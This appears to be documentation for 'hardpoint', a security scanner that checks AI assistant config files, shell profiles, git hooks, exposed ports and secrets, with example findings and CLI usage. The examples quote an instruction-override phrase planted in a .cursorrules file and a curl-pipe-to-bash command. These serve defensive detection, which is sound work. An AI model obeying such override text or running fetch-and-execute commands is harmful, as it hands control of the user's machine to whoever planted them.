​

Scanners

​

AI Configuration Scanner

​

Files Scanned

• .cursorrules, .cursor/rules/*.mdc
• mcp.json, .mcp.json
• CLAUDE.md, AGENTS.md
• .github/copilot-instructions.md

​

Detections

​

Example Finding

CRITICAL  AI-001: Instruction Override Detected
          File: .cursorrules:15
          "Ignore all previous instructions and..."

​

Shell Configuration Scanner

​

Files Scanned

• .bashrc, .bash_profile, .bash_aliases
• .zshrc, .zprofile, .zsh_aliases
• .profile

​

Detections

​

Example Finding

HIGH      SHELL-002: Curl Pipe to Shell
          File: .bashrc:42
          curl https://example.com/script | bash

​

Git Security Scanner

​

Files Scanned

• .git/hooks/*
• .git/config
• .gitconfig

​

Detections

​

Example Finding

CRITICAL  GIT-001: Malicious Git Hook
          File: .git/hooks/pre-commit
          Hook executes suspicious command

​

Network Exposure Scanner

​

Services Checked

• AI services: Ollama (11434), LM Studio (1234)
• Databases: PostgreSQL (5432), MongoDB (27017), Redis (6379)
• Development: Vite (5173), webpack-dev-server (8080)

​

Detections

​

Example Finding

CRITICAL  NET-002: Database Exposed to Network
          Service: PostgreSQL on 0.0.0.0:5432
          Should bind to 127.0.0.1 instead

​

Secrets Scanner

​

Files Scanned

• .env, .env.*
• Shell configurations
• AWS credentials (~/.aws/credentials)
• Configuration files

​

Detections

​

Example Finding

CRITICAL  SECRET-001: AWS Access Key Detected
          File: .env:5
          AKIAIOSFODNN7EXAMPLE

​

Running Specific Scanners

# Run single scanner
hardpoint scan ai

# Run multiple scanners
hardpoint scan ai shell secrets

# Run all scanners (default)
hardpoint scan